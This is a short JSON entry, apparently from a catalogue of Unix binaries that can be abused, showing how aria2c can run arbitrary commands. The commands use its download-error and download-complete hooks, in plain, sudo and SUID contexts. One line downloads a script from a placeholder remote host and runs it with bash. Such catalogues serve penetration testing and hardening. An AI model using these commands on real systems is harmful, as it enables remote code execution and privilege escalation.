{
  "description": "Note that the subprocess is immediately sent to the background.",
  "functions": {
    "command": [
      {
        "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\naria2c --on-download-error=$TF http://x\n"
      },
      {
        "description": "The remote file 'aaaaaaaaaaaaaaaa' (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. '--allow-overwrite' is needed if this is executed multiple times with the same GID.",
        "code": "aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash [host]/aaaaaaaaaaaaaaaa"
      }
    ],
    "sudo": [
      {
        "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x\n"
      }
    ],
    "limited-suid": [
      {
        "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x\n"
      }
    ]
  }
}